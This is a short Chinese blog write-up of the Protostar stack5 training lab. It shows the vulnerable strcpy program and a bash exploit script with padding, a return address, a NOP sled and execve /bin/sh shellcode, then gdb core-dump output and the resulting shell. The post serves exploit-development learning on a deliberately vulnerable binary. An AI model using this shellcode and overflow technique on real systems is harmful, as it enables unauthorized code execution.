Protostar stack5问题

2021-02-05  本文已影响0人  一路向后

1.stack5问题源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char buffer[64];

        strcpy(buffer, argv[1]);

        return 0;
}

2.编写脚本

#!/bin/bash

#填充变量
A=$(printf 'A%.0s' {1..76})

#返回地址
B="BBBC"

#填充空指令
C=$(printf '\x90%.0s' {1..32})

#注入shellcode
D="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

GREENIE=$(echo -e -n $A$B$C$D)

./stack5 $GREENIE

3.执行stack5.sh生成core文件

$ ./stack5.sh

4.gdb调试core

$ gdb --core=core.3433
(gdb) x/40wx $esp - 100
0xbffff46c: 0x080483e5  0xbffff480  0xbffff6cb  0xb7fd71d8
0xbffff47c: 0x00000000  0x41414141  0x41414141  0x41414141
0xbffff48c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff49c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4ac: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4cc: 0x43424242  0x90909090  0x90909090  0x90909090
0xbffff4dc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff4ec: 0x90909090  0x6850c031  0x68732f2f  0x69622f68
0xbffff4fc: 0x50e3896e  0x31e18953  0xcd0bb0d2  0x00000080
(gdb) quit

5.修改返回地址

#!/bin/bash

#填充变量
A=$(printf 'A%.0s' {1..76})

#返回地址
B="\xe0\xf4\xff\xbf"

#填充空指令
C=$(printf '\x90%.0s' {1..32})

#注入shellcode
D="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

GREENIE=$(echo -e -n $A$B$C$D)

./stack5 $GREENIE

6.成功获取shell

$ ./stack5.sh 
sh-4.1$
上一篇 下一篇

猜你喜欢

热点阅读